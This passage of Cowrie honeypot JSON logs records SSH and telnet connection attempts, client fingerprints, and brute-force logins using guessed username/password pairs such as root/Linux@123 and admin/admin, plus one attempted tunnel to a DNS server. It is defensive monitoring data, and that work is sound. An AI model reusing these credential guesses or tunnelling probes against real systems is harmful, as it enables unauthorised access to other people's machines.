sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:50:11.030854Z","src_ip":"200.90.8.86","session":"dc4469cad867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travis","password":"123","message":"login attempt [travis/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:50:11.420073Z","src_ip":"200.90.8.86","session":"dc4469cad867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:50:12.512071Z","src_ip":"200.90.8.86","session":"dc4469cad867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.26912498474121,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:50:17.735769Z","src_ip":"69.4.83.194","session":"d7bc7c312ecf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":44912,"dst_ip":"159.203.135.109","dst_port":22,"session":"40c6c5c604a2","protocol":"ssh","message":"New connection: 103.148.100.146:44912 (159.203.135.109:22) [session: 40c6c5c604a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:25.657750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:25.662530Z","src_ip":"103.148.100.146","session":"40c6c5c604a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:25.930482Z","src_ip":"103.148.100.146","session":"40c6c5c604a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Linux@123","message":"login attempt [root/Linux@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:27.033436Z","src_ip":"103.148.100.146","session":"40c6c5c604a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:28.304227Z","src_ip":"103.148.100.146","session":"40c6c5c604a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":58422,"dst_ip":"10.17.0.5","dst_port":22,"session":"3868e0cb1d02","protocol":"ssh","message":"New connection: 5.182.83.231:58422 (10.17.0.5:22) [session: 3868e0cb1d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:42.532990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:42.536540Z","src_ip":"5.182.83.231","session":"3868e0cb1d02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:42.647744Z","src_ip":"5.182.83.231","session":"3868e0cb1d02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:43.122970Z","src_ip":"5.182.83.231","session":"3868e0cb1d02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:44.237720Z","src_ip":"5.182.83.231","session":"3868e0cb1d02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.245.85.243","src_port":33452,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d2faf0e6325","protocol":"telnet","message":"New connection: 123.245.85.243:33452 (10.17.0.5:23) [session: 5d2faf0e6325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:51:57.407555Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18298,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c4f9316f87e","protocol":"ssh","message":"New connection: 87.251.64.176:18298 (10.17.0.5:22) [session: 7c4f9316f87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:05.915225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:05.921525Z","src_ip":"87.251.64.176","session":"7c4f9316f87e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:06.017969Z","src_ip":"87.251.64.176","session":"7c4f9316f87e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:06.371270Z","src_ip":"87.251.64.176","session":"7c4f9316f87e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:06.469702Z","session":"7c4f9316f87e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:06.566800Z","src_ip":"87.251.64.176","session":"7c4f9316f87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:06.667171Z","src_ip":"87.251.64.176","session":"7c4f9316f87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.622581243515015,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:11.030035Z","src_ip":"123.245.85.243","session":"5d2faf0e6325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":59128,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf2608ee6aa","protocol":"ssh","message":"New connection: 103.98.149.87:59128 (159.203.135.109:22) [session: adf2608ee6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:57.962263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:58.108491Z","src_ip":"103.98.149.87","session":"adf2608ee6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:52:58.263384Z","src_ip":"103.98.149.87","session":"adf2608ee6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergeya","message":"login attempt [root/sergeya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:00.408258Z","src_ip":"103.98.149.87","session":"adf2608ee6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:02.641495Z","src_ip":"103.98.149.87","session":"adf2608ee6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34150,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ae4e19ac5b","protocol":"ssh","message":"New connection: 103.77.242.62:34150 (10.17.0.5:22) [session: 00ae4e19ac5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:38.162479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:38.166653Z","src_ip":"103.77.242.62","session":"00ae4e19ac5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:38.411711Z","src_ip":"103.77.242.62","session":"00ae4e19ac5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"utn05wwy","message":"login attempt [root/utn05wwy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:39.149393Z","src_ip":"103.77.242.62","session":"00ae4e19ac5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:40.397593Z","src_ip":"103.77.242.62","session":"00ae4e19ac5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44396,"dst_ip":"159.203.135.109","dst_port":22,"session":"45a15005da11","protocol":"ssh","message":"New connection: 77.94.47.83:44396 (159.203.135.109:22) [session: 45a15005da11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:57.200701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:57.205897Z","src_ip":"77.94.47.83","session":"45a15005da11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:57.318446Z","src_ip":"77.94.47.83","session":"45a15005da11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13041987","message":"login attempt [root/13041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:57.657273Z","src_ip":"77.94.47.83","session":"45a15005da11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:53:58.772771Z","src_ip":"77.94.47.83","session":"45a15005da11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40940,"dst_ip":"10.17.0.5","dst_port":22,"session":"657ef846452f","protocol":"ssh","message":"New connection: 109.237.96.109:40940 (10.17.0.5:22) [session: 657ef846452f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:34.128710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:34.134481Z","src_ip":"109.237.96.109","session":"657ef846452f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:34.219252Z","src_ip":"109.237.96.109","session":"657ef846452f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cowboys","message":"login attempt [root/cowboys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:34.472031Z","src_ip":"109.237.96.109","session":"657ef846452f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:35.559795Z","src_ip":"109.237.96.109","session":"657ef846452f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.114.124.44","src_port":57392,"dst_ip":"10.17.0.5","dst_port":22,"session":"4590f62c70c8","protocol":"ssh","message":"New connection: 45.114.124.44:57392 (10.17.0.5:22) [session: 4590f62c70c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:56.723927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:54:56.728396Z","src_ip":"45.114.124.44","session":"4590f62c70c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["s